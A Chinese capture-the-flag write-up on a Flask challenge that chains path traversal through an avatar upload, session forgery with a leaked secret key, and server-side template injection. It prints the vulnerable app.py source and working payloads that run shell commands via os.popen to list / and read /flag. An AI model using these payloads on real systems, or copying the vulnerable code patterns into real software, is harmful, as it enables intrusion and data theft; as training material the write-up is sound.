韬哥出的一道题,上课的时候没做出来,没想到目录穿越我还以为是文件上传(韬哥还是tql)
相关考点:目录穿越、session 伪造和 SSTI
第一部分(目录穿越)
观察到唯一可用的入口点位于个人信息,而上传文件的接口并没有实际上对文件类型进行过滤(选择上传文件时的窗口会有默认选项,但是可以进行修改)。同时,发现上传非图片文件后右侧原本显示的图片会无法显示,因此可以推定后端并没有进行文件类型的判断。尝试 fuzz 一些路径穿越的文件名(如 `../../../../../../../../etc/passwd` )后会发现图片的接口 `/showPhoto` 确实返回了这个文件内容,所以根据 flask 的项目结构爆破 `../app.py`,`../../app.py` 等路径后每次通过 `showPhoto` 接口进行检查,可以发现源码在 `../../app.py`,得到 flag1 和 flask 的 session key
from flask import *
import base64
import os
import requests
import pickle
app = Flask(__name__, static_url_path="/resources", static_folder="resources")
flag1 = 'flag{d2c4d1bb89a7d5386390f750bbdad8a7}'
# flag2 = os.environ.get("FLAG2")
app.secret_key = flag1
@app.route('/')
def idx():
if 'username' not in session:
session['username'] = 'defaulter'
return render_template('index.html')
@app.route('/pubtzgg/<v>')
def iframe(v):
if 'username' not in session:
session['username'] = 'defaulter'
return render_template('queryTzggByMxxs')
@app.route('/queryClass')
def page():
if 'username' not in session:
session['username'] = 'defaulter'
return render_template('queryClass.html')
@app.route('/personalPage')
def info():
if 'username' not in session:
session['username'] = 'defaulter'
return render_template('personalPage.html')
@app.route('/showPhoto', methods=['GET'])
def load_photo():
if 'username' not in session:
session['username'] = 'defaulter'
uname = session['username']
fd = open('./private/db/list.txt', 'r')
db = fd.readlines()
fd.close()
filename = 'missing.png'
for line in db:
if uname in line:
filename = line.split(uname)[1][1:].strip()
return send_file('./private/avatar/'+filename, mimetype='image/png')
@app.route('/updatePhoto', methods=['POST'])
def send_photo():
if 'username' not in session:
session['username'] = 'defaulter'
return redirect('/')
uname = session['username']
p = request.files['new']
new_name = p.filename
fd = open('./private/db/list.txt', 'r')
db = fd.readlines()
fd.close()
for idx in range(len(db)):
line = db[idx]
if uname in line:
filename = line.split(uname)[1][1:].strip()
db[idx] = f'{uname}:{new_name}'
fd = open('./private/db/list.txt', 'w')
fd.writelines(db)
fd.close()
basepath = os.path.dirname(__file__)
o_img_path = os.path.join(basepath, "private/avatar", new_name)
p.save(o_img_path)
return render_template('personalPage.html')
@app.route('/interestingAdmin')
def dashboard():
if 'username' in session and session['username'] == 'admin':
session['username'] = 'admin'
r = requests.get('http://127.0.0.1:8889/api').text
print(r)
c,n,s,p = pickle.loads(base64.b64decode(r))
template = f'''<tr class="qinfo">
<td width="400">
{{{{ "{c.strip()}" }}}}
</td>
<td width="400">
{{{{ "{n.strip()}" }}}}
</td>
<td width="400">
{{{{ "{s.strip()}" }}}}
</td>
<td width="400">
{{{{ "{p.strip()}" }}}}
</td>
</tr>
'''
insertion = render_template_string(template)
return render_template('admin.html', insertion = insertion)
return redirect('/')
@app.post('/adminUpdateDB')
def upd():
if 'username' in session and session['username'] == 'admin':
c,n,s,p = request.form['code'].strip(), request.form['name'].strip(), request.form['score'].strip(), request.form['period'].strip()
if not c.isdigit() or not s.isdigit() or not p.isdigit():
return '请检查输入是否正确!'
d = pickle.dumps([c,n,s,p])
pl = base64.b64encode(d)
requests.post('http://127.0.0.1:8889/api', data={'payload':pl})
return redirect('/interestingAdmin')
@app.errorhandler(403)
def forbidden(e):
return render_template('403.html'), 403
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def page_not_found(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', port=8888, debug=False)
第二部分(session伪造)
flask-unsign安装下载以及用法:
得到 session key 和 app.py 中的隐藏路由后可以通过 flask-unsign 伪造 session 正常使用 `/interestingAdmin` 的后台接口。
第三部分(SSTI)
通过源码得知此处每个字段在后端的模板字符串都是类似 `f'{{"{key}"}}'` 的格式,需要在前后分别添加一个双引号进行逃逸。测试输入 `"+(7*7).__str__()+"`,发现这里的双引号成功逃逸了,完成 SSTI,因此更改 payload 即可进行 RCE,拿到 flag2。
"+x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")+"
"+x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('sudo cat /flag').read()")+"